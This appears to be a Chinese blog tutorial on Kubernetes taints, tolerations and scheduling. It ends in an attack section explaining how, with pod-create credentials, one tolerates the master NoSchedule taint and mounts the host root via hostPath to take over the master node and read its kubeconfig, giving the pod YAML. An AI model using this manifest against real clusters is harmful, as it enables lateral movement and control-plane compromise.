污点与容忍
简单说:
污点:被打上污点Taints的节点,不会被调度器部署pod应用。
容忍:允许调度器部署pod应用到打上污点Taints的节点。
污点(Taints)
污点里的值有三种:
1. NoSchedule
:POD 不会被调度到标记为 taints 节点。(不会被调度)
2. PreferNoSchedule
:NoSchedule 的软策略版本。(尽量不被调度)
3. NoExecute
:该选项意味着一旦 Taint 生效,如该节点内正在运行的 POD 没有对应 Tolerate 设置,会直接被逐出。 (是不会调度并且还会驱逐node
已有的pod
)
查看污点情况:
kubectl describe node nodename
为什么用污点
因为k8s集群每一个请求都需要走master节点kube-apiserver,因此master节点非常重要,所以pod应用一般不部署master节点。那么给master节点打上污点Taints,这样调度的时候就不会部署到带有污点的机器了 为什么用容忍? 比如被打上污点Taints的master节点需要部署某个pod应用,那么就需要容忍声明,这样就可以调度到带有污点的机器了
污点容忍度(tolerations)
容忍度tolerations
是定义在 Pod
对象上的键值型属性数据,用于配置其可容忍的节点污点,而且调度器仅能将Pod
对象调度至其能够容忍该节点污点的节点之上。
污点定义在节点的node Spec
中,而容忍度则定义在Pod
的podSpec
中,它们都是键值型数据。
在Pod
对象上定义容忍度时,它支持两种操作符:一种是等值比较Equal
,表示容忍度与污点必须在key
、value
和effect
三者之上完全匹配;另一种是存在性判断Exists
,表示二者的key
和effect
必须完全匹配,而容忍度中的value
字段要使用空值。
- 如果
operator
是Exists
(此时容忍度不能指定 value) - 如果
operator
是Equal
,则它们的value
应该相等
而污点容忍的作用举个例子,如果像上面污点一样设置了NoSchedule
污点的节点,那么创建pod的时候是必不被调度到的,但是如果我使用污点容忍,那这个节点可以在设置NoSchedule
污点的情况下可能又被调度,类似于亲和性那种作用。
K8s 调度器
kube-scheduler
是Kubernetes
集群的默认调度器,并且是集群控制面(master)的一部分。对每一个新创建的Pod或者是未被调度的Pod,kube-scheduler
会选择一个最优的Node去运行这个Pod
然而,Pod
内的每一个容器对资源都有不同的需求,而且Pod本身也有不同的资源需求。因此,Pod在被调度到Node上之前,根据这些特定的资源调度需求,需要对集群中的Node进行一次过滤。
调度器作用
当创建pod时候,会首先把创建的命令请求提交给apiserver,通过一系列认证授权,apiserver把pod数据存储到etcd,创建deployment资源并初始化。然后再是scheduler通过进行list-watch机制进行监测,经过调度算法
把pod调度到某个node节点上,最后信息更新到etcd,再后面就是kubelet接受信息到创建容器。
影响调度因素
-
pod资源限制
当前调度器选择适当的节点时,调度程序会检查每个节点是否有足够的资源满足 Pod 调度,比如查看CPU和内存限制是否满足: -
节点选择器nodeSelector
在创建pod的时候,节点选择器可以约束pod在特定节点上运行。
nodeSelector
也是节点选择约束的最简单推荐形式,nodeSelector
字段添加到 Pod 的规约中设置希望目标节点所具有的节点标签。 K8s 只会将 Pod 调度到拥有你所指定的每个标签的节点上。 -
节点亲和性nodeAffinity
节点亲和性概念上类似于nodeSelector
, 它使可以根据节点上的标签来约束 Pod 可以调度到哪些节点上,这种方法比上面的nodeSelector
更加灵活,它可以进行一些简单的逻辑组合了,不只是简单的相等匹配
污点横向Master
攻击思路:
拿到一个具有`Create`权限的凭据,一般通过创建特权容器逃逸到Node节点,但是默认创建Pods是不允许调度到Master节点的,所以想拿到Master节点可以使用污点容忍度,创建调度到Master节点的pod,然后逃逸到Master
Master节点的污点情况
通过查询详细信息发现默认K8s Master节点是被标记污点 :Taints: node-role.kubernetes.io/master:NoSchedule 表示默认情况下master节点将不会调度运行Pod,即不运行工作负载
创建一个具有node-role.kubernetes.io/master:NoSchedule容忍度的Pod,然后被master节点调度
```yml
apiVersion: v1
kind: Pod
metadata:name: masterpwn1namespace: cloud-prod
spec:tolerations:- key: "node-role.kubernetes.io/master"operator: "Exists"effect: "NoSchedule"volumes:- name: pwnmaster-voahostPath:path: /containers:- name: nginximage: nginximagePullPolicy: IfNotPresentvolumeMounts:- name: pwnmaster-voamountPath: /mntports: - containerPort: 8080serviceAccountName: cloud-account
通过多次调用创建容器,可以发现已经可以在master创建pods
由于这个容器挂载了宿主机的根目录,也就是挂载了Master节点的根目录所以就可以任意操作宿主机
读取Kubeconfig配置文件